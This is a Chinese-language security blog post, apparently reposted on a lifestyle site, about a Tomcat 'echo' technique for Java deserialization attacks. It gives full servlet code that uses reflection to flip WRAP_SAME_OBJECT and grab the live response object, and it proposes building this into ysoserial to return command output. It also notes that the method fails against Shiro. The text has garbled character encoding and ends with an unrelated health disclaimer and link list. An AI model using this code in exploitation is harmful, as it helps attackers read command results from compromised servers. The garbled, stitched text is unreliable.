坑點記錄#開始想直接獲取內(nèi)部類發(fā)現(xiàn)思路不通,后來采用getDeclaredClasses方法獲取某類中所有內(nèi)部的內(nèi)部類遍歷,判斷類名傳遞定位到該類 。獲取global遍歷的時候出現(xiàn)了巨坑,直接反射去獲取 。但是未意識到創(chuàng)建是一個class對象,反射使用get方法必須傳遞實例 。獲取到Request需要調(diào)用request.getNote(1);轉(zhuǎn)換為org.apache.catalina.connector.Request的對象 。fanal修飾變量,需做修改,直接獲取報錯 。通過調(diào)用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象文章鏈接
0x02 Tomcat半通用回顯#基于Tomcat中一種半通用回顯方法該篇文來調(diào)試一下 。
根據(jù)前文思路順著堆棧一路向下查看Request和Response存儲位置,只要獲取到一個實例即可 。
順著思路,在org.apache.catalina.core.ApplicationFilterChain位置發(fā)現(xiàn)符合條件的變量 。
下面尋找賦值位置,發(fā)現(xiàn)在這個位置對request,response進(jìn)行實例的存儲 。但是默認(rèn)為False
思路如下:
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,讓代碼邏輯走到if條件里面
2、初始化lastServicedRequest和lastServicedResponse兩個變量,默認(rèn)為null
3、從lastServicedResponse中獲取當(dāng)前請求response,并且回顯內(nèi)容 。
自己嘗試構(gòu)造了一下
package com;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();servletResponse.getWriter().write("111");} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}同理,可集成到y(tǒng)so中,反序列化命令執(zhí)行結(jié)果借助該servletResponse 。
局限#在shiro反序列化漏洞的利用中并不能成功,發(fā)現(xiàn)request,response的設(shè)置是在漏洞觸發(fā)點之后,所以在觸發(fā)漏洞執(zhí)行任意java代碼時獲取不到我們想要的response 。其原因是因為rememberMe功能的實現(xiàn)是使用了自己實現(xiàn)的filter 。
以上關(guān)于本文的內(nèi)容,僅作參考!溫馨提示:如遇健康、疾病相關(guān)的問題,請您及時就醫(yī)或請專業(yè)人士給予相關(guān)指導(dǎo)!
「愛刨根生活網(wǎng)」www.malaban59.cn小編還為您精選了以下內(nèi)容,希望對您有所幫助:- linux系統(tǒng)安裝步驟 yum安裝命令
- 電腦怎么創(chuàng)建圖片密碼? 圖片密碼怎么設(shè)置
- 360發(fā)現(xiàn)全球汽車操作系統(tǒng)多個高危漏洞:獲寶馬和系統(tǒng)商雙重致謝
- 安卓手機(jī)裝win10系統(tǒng)操作方法 win10系統(tǒng)版本哪個好
- 自動噴水滅火系統(tǒng)由哪些部分組成
- 電腦開不開機(jī)怎么重裝系統(tǒng)教程 win7無法關(guān)機(jī)怎么辦
- word表格自動換頁的技巧 word不分頁怎么設(shè)置
- 2021國內(nèi)最好用免費建站系統(tǒng) 免費個人網(wǎng)站空間申請
- windows7系統(tǒng)黑屏解決方法 win7激活工具哪個好用
- h5平臺搭建步驟 h5建站系統(tǒng)源碼
